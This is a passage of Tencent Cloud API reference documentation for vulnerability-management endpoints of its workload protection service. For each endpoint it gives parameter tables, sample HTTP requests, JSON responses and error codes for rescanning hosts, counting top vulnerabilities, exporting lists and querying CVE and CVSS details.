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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Re-scanning Vulnerabilities

This example shows you how to re-scan vulnerabilities for vulnerability management.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ScanVulAgain
&EventIds=1,2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "89ea8dd4-0c5e-4e95-a2b7-2de18a2efcb4"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.APIServerFail	Failed to invoke the API service.
FailedOperation.RescanVul	Failed to double-check the vulnerability.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.

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DescribeVdbAndPocInfo

Last updated：2024-12-06 15:39:09

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain virus database and POC updates.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVdbAndPocInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
VdbUpdateTime	Timestamp	Virus database update time
PocUpdateTime	Timestamp	Vulnerability database update time

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Virus Database and POC Update Information

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeVdbAndPocInfo
&<Common request parameters>
```

Output Example

```
{
"Response": {
"VdbUpdateTime": "2020-03-04 00:00:05",
"PocUpdateTime": "2020-02-20 11:30:50",
"RequestId": "53cd61ca-1984-8098-8e48-2c99a114e0e3"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeVulEmergentMsg

Last updated：2024-12-06 15:39:04

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain vulnerability emergency notifications.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulEmergentMsg.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
EmergentMsgList	Array of VulEmergentMsgInfo	Vulnerability emergency notification data Note: This field may return null, indicating that no valid values can be obtained.

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Vulnerability Emergency Notification Information

This example shows you how to obtain vulnerability emergency notification information.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeVulEmergentMsg
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "4234234",
"EmergentMsgList": [
{
"VulId": 100488,
"PublishTime": "2020-03-13 00:00:00",
"Name": "Windows SMB remote code execution vulnerability"
}
]
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeVulTop

Last updated：2024-12-06 15:39:00

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to count top vulnerabilities.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulTop.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Top	Yes	Integer	Top servers by vulnerability risks. The specific number is in the range of 1 to 100.
VulCategory	No	Integer	1: web CMS vulnerability; 2: application vulnerability; 4: Linux software vulnerability; 5: Windows system vulnerability; 6: emergency vulnerability. If this parameter is left blank or set to 0, the statistical data of all these types of vulnerabilities is returned.
IsFollowVul	No	Integer	Whether to count only focused vulnerabilities. 1: count only focused vulnerabilities; 0: count all vulnerabilities.

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3. Output Parameters

Parameter Name	Type	Description
VulTopList	Array of VulTopInfo	List of top vulnerabilities Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Top Vulnerability Statistics

This example shows you the top vulnerability statistics.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulTop
<Common request parameters>

{
"Top": "5"
}
```

Output Example

```
{
"Response": {
"RequestId": "f14ce73f-50d7-4c36-af1d-fc33dae510c4",
"VulTopList": [
{
"VulName": "Maximum validity days policy of the account after Linux password expi
res",
"VulLevel": 1,
"VulCount": 27
},
{
```

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```
"VulName": "Linux does not configure account log-in failure lock policy.",
"VulLevel": 2,
"VulCount": 17
},
{
"VulName": "Linux account timeout auto-logout configuration",
"VulLevel": 2,
"VulCount": 17
},
{
"VulName": "Linux account password lifetime policy",
"VulLevel": 2,
"VulCount": 17
},
{
"VulName": "Restrict remote log-in of users with root permission.",
"VulLevel": 2,
"VulCount": 17
}
]
}
}
```


5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeVulHostTop

Last updated：2024-12-06 15:39:03

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of top server risks.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulHostTop.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Top	Yes	Integer	Obtain top values: 1-100
VulCategory	No	Integer	1: web-cms vulnerabilities; 2: application vulnerabilities; 4: Linux software vulnerabilities; 5: Windows system vulnerabilities; 6: emergency vulnerabilities. If it is left blank or set to 0, the total statistics of vulnerabilities 1, 2, 4, and 5 are returned.
IsFollowVul	No	Integer	Whether to count only critical vulnerabilities: 1: only critical vulnerabilities; 0: all vulnerabilities

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3. Output Parameters

Parameter Name	Type	Description
VulHostTopList	Array of VulHostTopInfo	List of top server risks Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Top Server Risk List

This example shows you how to obtain the list of top server risks.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulHostTop
<Common request parameters>

{
"Top": "5"
}
```

Output Example

```
{
"Response": {
"RequestId": "f14ce73f-50d7-4c36-af1d-fc33dae510c4",
"VulHostTopList": [
{
"HostName": "v_lwjlin_centos_Lin",
"Quuid": "979c93e9-fad9-4a6f-8c7e-325a5b30ac7b",
"VulLevelList": [
{
```

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```
"VulLevel": 2,
"VulCount": 616
},
{
"VulLevel": 1,
"VulCount": 209
},
{
"VulLevel": 3,
"VulCount": 363
}
],
"Score": 1188
},
{
"HostName": "Vulnerability alarm temporary test",
"Quuid": "0d751f60-b0a9-4189-a705-010493a99d8b",
"VulLevelList": [
{
"VulLevel": 2,
"VulCount": 208
},
{
"VulLevel": 1,
"VulCount": 60
},
{
"VulLevel": 3,
"VulCount": 136
}
],
"Score": 404
},
{
"HostName": "Temporary overview page test",
"Quuid": "8092a54e-258d-45a1-ae1f-8477ee6d65fa",
"VulLevelList": [
{
"VulLevel": 2,
"VulCount": 13
},
{
"VulLevel": 1,
"VulCount": 4
},
{
"VulLevel": 3,
```


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```
"VulCount": 9
}
],
"Score": 26
},
{
"HostName": "Deliver to colleagues for use__v_lwjlin",
"Quuid": "928604de-876d-4c56-9914-6f53361944a5",
"VulLevelList": [
{
"VulLevel": 2,
"VulCount": 13
},
{
"VulLevel": 1,
"VulCount": 4
},
{
"VulLevel": 3,
"VulCount": 9
}
],
"Score": 26
},
{
"HostName": "Temporary overview page test",
"Quuid": "a231448a-f7a5-4196-8a7e-30f5f6e9187e",
"VulLevelList": [
{
"VulLevel": 2,
"VulCount": 13
},
{
"VulLevel": 1,
"VulCount": 3
},
{
"VulLevel": 3,
"VulCount": 9
}
],
"Score": 25
}
]
}
}
```


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5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeVulHostCountScanTime

Last updated：2024-12-06 15:39:03

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the number of vulnerabilities pending to be processed and affected hosts.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulHostCountScanTime.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
TotalVulCount	Integer	Total number of vulnerabilities
VulHostCount	Integer	Number of hosts affected by vulnerabilities

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ScanTime	String	Scan time
IfFirstScan	Boolean	Whether the detection is carried out for the first time
TaskId	Integer	ID of the ongoing task. The value is 0 if no such task exists.
LastFixTime	String	Last vulnerability fixing time
hadAutoFixVul	Boolean	Whether vulnerabilities supporting automatic fixing exist
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Pending Vulnerabilities and Affected Hosts

This example shows you how to obtain the number of pending vulnerabilities and affected hosts.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulHostCountScanTime
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "4234234",
"ScanTime": "2020-01-01 00:00:00",
"TotalVulCount": 38,
"VulHostCount": 16,
"IfFirstScan": true,
"hadAutoFixVul": true,
"LastFixTime": "2020-11-21 15:16:00",
"TaskId": 1
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeUndoVulCounts

Last updated：2024-12-06 15:39:09

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the number of pending vulnerabilities of a specified category and the number of hosts in the vulnerability management module.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeUndoVulCounts.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
VulCategory	No	Integer	Vulnerability category. 1: web-cms vulnerabilities; 2: application vulnerabilities; 4: Linux software vulnerabilities; 5: Windows system vulnerabilities
IfEmergency	No	String	Whether to apply emergency vulnerability detection: YES - yes

3. Output Parameters

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Parameter Name	Type	Description
UndoVulCount	Integer	Number of unfixed vulnerabilities Note: This field may return null, indicating that no valid values can be obtained.
UndoHostCount	Integer	Number of unfixed hosts Note: This field may return null, indicating that no valid values can be obtained.
NotProfessionCount	Integer	Number of Standard Edition hosts Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Number of Pending Vulnerabilities, Hosts, and Non-pro Hosts of the Specified Type

This example shows you how to obtain the number of pending vulnerabilities, hosts, and non-pro hosts of the specified type.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeUndoVulCounts
&VulCategory=2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"NotProfessionCount": 1,
"RequestId": "req-561002",
"UndoHostCount": 1,
"UndoVulCount": 1
}
}
```

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5. Developer Resources

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeVulCountByDates

Last updated：2024-12-06 15:39:08

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the number of vulnerabilities of specified types in recent days and the number of hosts.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulCountByDates.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
LastDays.N	No	Array of Integer	Number of past days for data query. Subtract 1 from the actual number of days and fill in the value.
VulCategory	No	Integer	Vulnerability category. 1: web CMS vulnerability; 2: application vulnerability; 4: Linux software vulnerability; 5: Windows system vulnerability.
IfEmergency	No	String	Whether the vulnerabilities are emergency vulnerabilities. yes: yes.

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3. Output Parameters

Parameter Name	Type	Description
VulCount	Array of Integer	Obtain the number of vulnerabilities for corresponding days in batch Note: This field may return null, indicating that no valid values can be obtained.
HostCount	Array of Integer	Obtain the number of hosts for corresponding days in batch
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Batch Obtaining the Recent Number of Vulnerabilities and Hosts of Specified Types

This example shows you how to batch obtain the recent number of vulnerabilities and hosts of specified types.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeVulCountByDates
&LastDays.0=1
&VulCategory=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"HostCount": [
0,
0,
3
],
"RequestId": "req-1002",
"VulCount": [
0,
```

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```
0,
1
]
}
}
```

5. Developer Resources

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.

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MissingParameter	Missing parameter error.

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DescribeVulLevelCount

Last updated：2024-12-06 15:39:01

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the statistics of vulnerability quantity and level distribution.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulLevelCount.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
VulCategory	No	Integer	1: web CMS vulnerability; 2: application vulnerability; 3: security baseline; 4: Linux software vulnerability; 5: Windows system vulnerability; 6: emergency vulnerability. If this parameter is left blank or set to 0, the statistics data of all vulnerabilities of types 1, 2, 4, and 5 is returned.
IsFollowVul	No	Integer	Whether to count only critical vulnerabilities. 1: only critical vulnerabilities; 0: all vulnerabilities.

3. Output Parameters

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Parameter Name	Type	Description
VulLevelList	Array of VulLevelInfo	Statistical result Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the Statistics Data of the Vulnerability Quantity by Level Distribution

This example shows you how to query the statistics data of vulnerability quantity by level distribution.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulLevelCount
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "req-1002",
"VulLevelList": [
{
"VulLevel": 3,
"Count": 16
},
{
"VulLevel": 2,
"Count": 16
},
{
"VulLevel": 1,
"Count": 4
},
```

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```
{
"VulLevel": 0,
"Count": 2
}
]
}
}
```

5. Developer Resources

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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ExportVulList

Last updated：2024-12-06 15:38:57

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the vulnerability list.

A maximum of 15 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportVulList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filter criteria • VulCategory - int - required: no - filter by vulnerability category: 1 - web-cms vulnerabilities; 2 - application vulnerabilities; 4 - Linux software vulnerabilities; 5 - Windows system vulnerabilities • IfEmergency - String - required: no - whether an emergency vulnerability; if you need to query an emergency vulnerability, please pass yes to this parameter. • Status - String - required: yes - filter by vulnerability status: 0 - pending; 1 - ignored; 3 - fixed; 5 - detecting. The console only handles four statuses: 0, 1, 3, and 5.

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			• Level - String - required: no - filter by vulnerability level: 1 - low; 2 - medium; 3 - high; 4 - prompt • VulName - String - required: no - search by vulnerability name
IfDetail	No	Integer	Whether to export details: 1 - yes; 0 - no

3. Output Parameters

Parameter Name	Type	Description
DownloadUrl	String	Download URL of the exported file (deprecated) Note: This field may return null, indicating that no valid values can be obtained.
TaskId	String	ID of the exported file, which can be downloaded using the ExportTasks API.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the Vulnerability List Data and Obtaining Download URLs

This example shows you how to export the vulnerability list data and obtain download URLs.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportVulList
&IfDetail=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"DownloadUrl": "https://cwp-1258344***.cos.ap-guangzhou.myqcloud.com/file.txt",
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c",
"TaskId": "10001"
}
}
```

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5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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CreateEmergencyVulScan

Last updated：2024-12-06 15:39:13

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to create emergency vulnerability scan tasks.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateEmergencyVulScan.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
VulId	Yes	Integer	Vulnerability ID
Uuids.N	No	Array of String	Array of host UUID strings. This parameter is valid for specified servers.
TimeoutPeriod	No	Integer	Scan timeout duration, in seconds.

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Vulnerability Management - Emergency Vulnerability Detection

This example shows you how to detect emergency vulnerabilities.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CreateEmergencyVulScan
<Common request parameters>

{
"VulId": "1"
}
```

Output Example

```
{
"Response": {
"RequestId": "42342314"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.

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DescribeVulCveIdInfo

Last updated：2024-12-06 15:39:08

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query vulnerability details by CveId.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulCveIdInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
CveIds.N	Yes	Array of String	Vulnerability cve_id list

3. Output Parameters

Parameter Name	Type	Description

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List	Array of VulInfoByCveId	Detail list Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Vulnerability Details by CveId

This example shows you how to query vulnerability details by CveId.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulCveIdInfo
<Common request parameters>

{
"CveIds": [
"CVE-2021-31805"
]
}
```

Output Example

```
{
"Response": {
"List": [
{
"FixSwitch": 1,
"VulId": 1
}
],
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237"
}
}
```

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5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeVulInfoCvss

Last updated：2024-12-06 15:39:02

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain vulnerability details with the CVSS version.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulInfoCvss.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
VulId	Yes	Integer	Vulnerability ID

3. Output Parameters

Parameter Name	Type	Description
VulId	Integer	Vulnerability ID Note: This field may return null, indicating that no valid values can be

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		obtained.
VulName	String	Vulnerability name Note: This field may return null, indicating that no valid values can be obtained.
VulLevel	Integer	Hazard level: 1-Low-risk; 2-Medium-risk; 3-High-risk; 4-Critical Note: This field may return null, indicating that no valid values can be obtained.
VulType	Integer	Vulnerability Classification: 1: Web-CMS Vulnerability 2: Application Vulnerabilities 4: Linux Software Vulnerabilities 5: Windows System Vulnerabilities Note: This field may return null, indicating that no valid values can be obtained.
Description	String	Vulnerability Description Information Note: This field may return null, indicating that no valid values can be obtained.
RepairPlan	String	Fixing solution Note: This field may return null, indicating that no valid values can be obtained.
CveId	String	Vulnerability CVE ID Note: This field may return null, indicating that no valid values can be obtained.
Reference	String	Reference link Note: This field may return null, indicating that no valid values can be obtained.
CVSS	String	CVSS Information Note: This field may return null, indicating that no valid values can be obtained.
PublicDate	String	Release date Note: This field may return null, indicating that no valid values can be obtained.
CvssScore	Integer	CVSS Score Note: This field may return null, indicating that no valid values can be obtained.
CveInfo	String	CVSS Details Note: This field may return null, indicating that no valid values can be obtained.

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CvssScoreFloat	Float	CVSS score, floating point type Note: This field may return null, indicating that no valid values can be obtained.
Labels	String	Vulnerability Tags, Separated by Multiple Commas Note: This field may return null, indicating that no valid values can be obtained.
DefenseAttackCount	Integer	Number of Attacks Defended Note: This field may return null, indicating that no valid values can be obtained.
SuccessFixCount	Integer	Total Number of Successful Network Repairs. Returns 0 by default for unsupported auto-repair vulnerabilities. Note: This field may return null, indicating that no valid values can be obtained.
FixSwitch	Integer	Repair support: 0 - Neither Windows nor Linux supports for repair; 1 - Both Windows and Linux support for repair; 2 - Only Linux supports for repair; 3 - Only Windows supports for repair. Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Viewing Details of a Vulnerability with the CVSS Score

This example shows you how to view details of a vulnerability with the CVSS score.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulInfoCvss
<Common request parameters>

{
"VulId": "100441"
}
```

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Output Example


```
{
"Response": {
"CveId": "1",
"CvssScore": 1,
"Description": "ad",
"Reference": "fs",
"VulName": "Vulnerability 1",
"CveInfo": "",
"CvssScoreFloat": 9.9,
"VulType": 1,
"VulLevel": 2,
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"VulId": 100441,
"RepairPlan": "13412",
"CVSS": "AV:L/AC:L/Au:N/C:N/I:P/A:N",
"Labels": "tag1,tag2",
"DefenseAttackCount": 1,
"SuccessFixCount": 1,
"FixSwitch": 0,
"PublicDate": "2020-12-30:00:00:00"
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeVulEffectHostList

Last updated：2024-12-06 15:39:05

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of hosts affected by vulnerabilities.

A maximum of 10 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

